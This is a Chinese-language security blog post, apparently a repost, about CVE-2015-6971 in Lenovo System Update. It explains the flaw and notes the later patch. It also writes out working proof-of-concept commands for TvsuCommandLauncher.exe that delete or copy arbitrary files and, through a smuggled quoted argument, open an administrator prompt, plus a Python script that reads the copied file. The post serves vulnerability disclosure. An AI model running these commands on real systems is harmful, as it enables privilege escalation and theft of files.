对联想电脑系统更新组件的漏洞利用:CVE-2015-6971 - APT防御产品

对联想电脑系统更新组件的漏洞利用:CVE-2015-6971

在过去的7个月,联想大量的系统更新软件漏洞让人眼前一亮。联想在今年春季修复了第一批漏洞,我决定深入了解这些补丁来验证这些存在的漏洞。结果我发现了一枚相关漏洞(CVE-2015-6971),接下来我会详细的进行讲述。

背景

联想品牌的大多数电脑都包含了一款用于更新系统的软件,它负责检测计算机硬件配置的驱动以及其他软件的最新版本(包括Windows系统补丁),用户可通过Lenovo System Update下载以及安装更新。

漏洞发现

漏洞最初是由安全厂商IOActive发现,由于软件的设计缺陷本地用户可以将权限提升至SYSTEM。在检测补丁版本5.06.0034时,我发现它并没有完全被修复。

Lenovo System Update 5.06.0034包含多个组件。一个是运行本地系统账户的Windows服务,通过一个命名通道,该服务可接收用户命令。另一个是有签名的客户端应用程序,服务将拒绝执行除有签名以外的任何应用程序命令。这个问题对于将代码注入到运行的原始进程从而在服务端绕过安全检测来说有些鸡肋。联想在9月份发布的另外一个补丁中进行了修复。

看看新版本5.07.0008,我发现了一系列的新问题:多亏其有一个合法的控制台,无特权用户也可以从system删除任意文件。

工作原理

以下代码是在Windows 10 32-bit下进行测试:

64位机器需要将%ProgramFiles%替换为%ProgramFiles(x86)%,以及检测32位注册表位置(Wow6432Node).

"%ProgramFiles%\Lenovo\System Update\ConfigService.exe" start
"%ProgramFiles%\Lenovo\System Update\TvsuCommandLauncher.exe" /execute UACSdk.exe /arguments "A1 A2 C:\Users\Administrator\Documents\TopSecret.txt A3" /directory "%ProgramFiles%\Lenovo\System Update" /type COMMAND

注意观察TopSecret.txt。如果这个文件对于系统组件函数来说十分重要,那我们可以利用这个问题导致拒绝服务。

接下来我们就来看看一个低权限用户是如何通过这个漏洞读取任意文件的。作为内部处理的一部分,Lenovo System Update服务复制任意文件到用户可读取的位置,我们现在就指定上面中的例子(C:\Users\Administrator\Documents\TopSecret.txt)作为演示。监控这个位置并读取内容很繁琐,所以我编写了一个简单的Python脚本来进行验证:

import sys
while True:    
    try:        
        # Adjust the path below on 64-bit machine        
        f = open("C:\\Program Files\\Lenovo\\System Update\\temp.reg", "r")        
        print(f.read())        
        f.close()        
        break    
    except IOError as err:        
        sys.stdout.write(".")

检测注册表以及出现的新值,这也意味着攻击者可以改变现有状态加载恶意代码。例如通过替换InProcServer32系统组件的位置,很早以前(Windows 3.1-style)就存在这种方法了,然而联想软件并没有对其导入进行限制。

最后,由于命令处理漏洞,我们可以通过管理员权限执行命令。

欢迎各位动手去看看,使用无特权用户运行以下命令:

"%ProgramFiles%\Lenovo\System Update\ConfigService.exe" start
echo test > C:\Users\Public\S.log
"%ProgramFiles%\Lenovo\System Update\TvsuCommandLauncher.exe" /execute uacsdk.exe /arguments "A1 A2 C:\Users\Public\S.log "" """ /directory "%ProgramFiles%\Lenovo\System Update" /type COMMAND

此时此刻应该可以看到Lenovo System Update GUI,接着编译下面这个小程序(从%ProgramFiles%\Lenovo\System Update\复制UNCObject.dll)并使用无特权用户运行

这将打开一个命令提示符窗口,该用户可进行管理员级别的访问(其作为BUILTIN\Administrators群组的一员)。接下来低权限用户完全可以接替特权用户的工作咯!

总结

联想软件中的多个漏洞,允许未经授权的用户获得管理员权限,对于企业环境这个问题是要人命的。联想近期又发布了一个新版本(5.07.0013)来解决这个问题。


转载请注明出处 APT防御产品 » 对联想电脑系统更新组件的漏洞利用:CVE-2015-6971

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址